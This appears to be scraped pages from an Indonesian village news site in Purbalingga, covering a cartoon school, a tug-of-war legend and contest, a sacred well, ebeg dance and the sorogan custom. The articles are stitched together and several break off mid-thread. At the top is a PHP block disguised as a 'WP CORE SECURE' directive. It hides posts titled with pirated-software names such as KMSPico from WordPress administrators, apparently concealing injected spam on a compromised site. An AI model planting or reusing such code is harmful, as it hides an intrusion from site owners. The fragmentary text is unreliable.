# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
KIe Art Cartoon School yang beralamat di Dusun Peninis Rt. 01, Rw. 01 Desa Sidareja ini diinisiasi oleh Slamet Santosa warga Desa Sidareja yang telah puluhan tahun menggeluti dunia seni di Ibu Kota.
Dituturkan oleh Slamet, bahwa Kie Art Cartoon School merupakan sekolah kartun sederhana yang terbuat dari bekas kandang Ayam dengan ornamen bekas jendela serta pintu bekas yang tata sedemikian rupa menjadi ruang-ruang belajar yang artistik dan instagramable.
Di KIe Art Cartoon School Desa Sidareja, warga Purbalingga dan sekitarnya bisa belajar ngartun dari mulai menggali ide, membuat sketsa hingga menorehkan warna warni cat pada kanvas secara gratis. Selain belajar dengan gratis segala peralatan yang diperlukan seperti cat dan kuas juga disediakan secara cuma-cuma.
Selain menggambar kartun, warga masyarakat yang saat ini bergabung di Kie Art Cartoon School yang sebagian besar merupakan remaja, siswa SMP dan SMA juga bisa mengexplore bakat seni lainnya seperti seni tari, karawitan, wayang, akustik dan calung dengan bimbingan tenaga profesional.
Berikut ini jadwal kegiatan di Kie Art cartoon School selama satu minggu yang tepampang pada papan tulis hitam yang menempel pada dinding pintu masuk Kie Art cartoon School :
Rakyatnya pun hidup sengsara dan serba kekurangan hingga pada suatu hari ada seorang Pendeta yang memberikan nasihat kepada Sang Raja. “Wahai sang Raja lihatlah rakyat mu yang begitu sengsara saat ini. Saat ini banyak yang sedang merasakan kelaparan dan banyak diantara mereka makan tambang karena sudah tidak ada lagi makanan yang bisa dimakan”, kata Pendeta.
Lalu Pendeta melanjutkan nasihatnya kepada sang Raja agar tidak serakah dan memperhatikan nasib rakyatnya. Namun Sang Raja bersikukuh mempertahankan tabiatnya yang serakah dan tidak peduli dengan rakyatnya.
Hingga Pendeta menantang sang Raja untuk melakukan perlombaan tarik tambang dengan rakyatnya. Dengan syarat apabila Sang Raja kalah dalam perlombaan tarik tambang maka Sang Raja harus merubah tabiat dan lebih peduli serta memperhatikan nasib dan kesejahteraan rakyatnya.
Singkat cerita perlombaan tarik tambangpun dimenangkan oleh kelompok rakyat dan rakyatpun dikemudian hari hidup berkecukupan.
Di Indonesia Permainan Tarik Tambang banyak diperlombakan di saat perayaan Hari Ulang Tahun Kemerdekaan RI pada bulan Agustus. Seperti halnya di tahun 2018 ini dalam rangka merayakan HUT RI ke 73 permainan tarik tambang banyak diperlombakan mulai dari tingkat Desa hingga Kabupaten dengan peserta terdiri dari anak sekolah, kelompok masyarakat maupun antar instansi Pemerintah. Bahkan perlombaan tarik tambang tidak hanya diikuti oleh kelompok laki-laki saja tetapi lomba tarik tambang kelompok perempuanpun berlangsung seru dan meriah.
Salah satu peserta lomba tarik tambang perempuan dari Dinkominfo Kabupaten Purbalingga ketika sedang beristirahat disela-sela mengikuti lomba tarik tambang antar Organisasi Perangkat Daerah (OPD) yang berlangsung tadi pagi Rabu (15/8/18) di lapangan GOR Goentoer Darjono Purbalingga, Eti Tri Setiyowati mengatakan, “sebelum perlombaan dimulai niatnya hanya partisipasi saja tidak terlalu serius apalagi cuaca panas, tetapi ketika sudah mulai perlombaan, semangat dan rasa kebersamaan mendorong untuk berusaha semaksimal mungkin dan sekuat tenaga hingga akhirnya kami dapat memenangkan perlombaan pada babak penyisihan”, kata Eti.
Selanjutnya berikut ini trik dan strategi untuk memenangkan perlombaan tarik tambang yang dapat kita jadikan sebagai salah satu referensi :
Dinamakan Pagerandong karena konon diwilayah tersebut terdapat sebuah sumur yang diberi nama Sumur Jalatunda yang dikelilingi dengan tanaman pohon andong.
Menurut cerita sumur tersebut biasa digunakan untuk mandi para bidadari pada sore hari sekitar jam tiga saat gerimis pada cuaca panas.
Hingga saat ini sumur tersebut masih diyakini dan digunakan oleh sebagian orang untuk ngalap berkah seperti mencari kedudukan yang lebih tinggi. Apabila keinginan yang dikehendaki akan terwujud, maka akan ditandai dengan munculnya ikan andong yang memenuhi sumur Jalatunda.
Sedangkan apabila keinginanya tidak akan terwujud maka akan ditandai dengan muncul satu ekor ikan gabus yang berwujud kepala dan duri. (*ibar)
Sumber informasi : Mantan Sekdes Pagerandong “Juwono”
]]>
Di daerah lain, Ebeg lazim disebut dengan kuda lumping atau kuda kepang. Berupa tari tarian tradisional menggunakan alat berupa anyaman bambu yang dibentuk menyerupai kuda dengan iringan gamelan dan nyanyian berbahasa Banyumasan.
Umumnya pemain Ebeg adalah laki-laki, namun saat ini tak jarang kita jumpai ebeg dimainkan oleh perempuan ataupun remaja putri.
Seperti halnya Grup Kesenian Ebeg “Wahyu Mego Saputro” asal Desa Selakambang yang tampil pada acara penutupan Tentara Nasional Indonesia Manunggal Membangun Desa (TMMD) Sengkuyung II di Desa Pagerandong Kecamatan Kaligondang Purbalingga.
Grup ini terdiri dari 8 orang pemain ebeg (penari) yang salah satunya adalah perempuan. 15 orang penabuh gamelan dan penyanyi atau sinden.
Lagu-lagu yang dinyanyikan untuk mengiringi Ebeg diantaranya berjudul Ricik Ricik Banyumasan, Eling-Eling, Thole-Thole dan Ana Maning Modele Wong Purbalingga.
Ebeg biasanya dimainkan dari pagi hingga petang hari dengan tarif beragam antara 6juta hingga 8juta rupiah. (*ibar)
]]>Sorogan dilakukan oleh warga desa yang akan melaksanakan hajatan baik khitanan maupun pernikahan.
Biasanya dilakukan 3 hari sebelum pelaksanaan hajatan.
Seperti dituturkan oleh Kasi Pemerintahan Desa Pagerandong, Mujiono ” Setelah lebaran idul fitri seperti saat ini, kami selaku perangkat desa banyak mendapat sorogan”.
Lebih lanjut Mujiono menjelaskan, warga desa kami, biasanya ketika akan melaksanakan hajatan, mengantarkan 1 rinjing (bakul) makanan yang berisi nasi dan lauk pauk yang terdiri dari ayam goreng, sayur tempe, mi goreng.
Karena makanan yang diberikan kepada kami jumlahnya banyak, biasanya makanan ini kami bagi-bagikan kepada tetangga, ungkap Mujiono.
Sorogan sendiri dikandung maksud sebagai ungkapan mohon do’a restu dan sekaligus sebagai undangan untuk menghadiri hajatan yang akan dihelat oleh warga.
Sorogan biasa diberikan kepada kepala desa dan kepala dusun, serta sekretaris desa maupun perangkat desa lainnya.
Selain di Desa Pagerandong, sorogan juga masih banyak dijumpai di Desa Sidanegara Kecamatan Kaligondang Kabupaten Purbalingga. (*Ibar)
]]>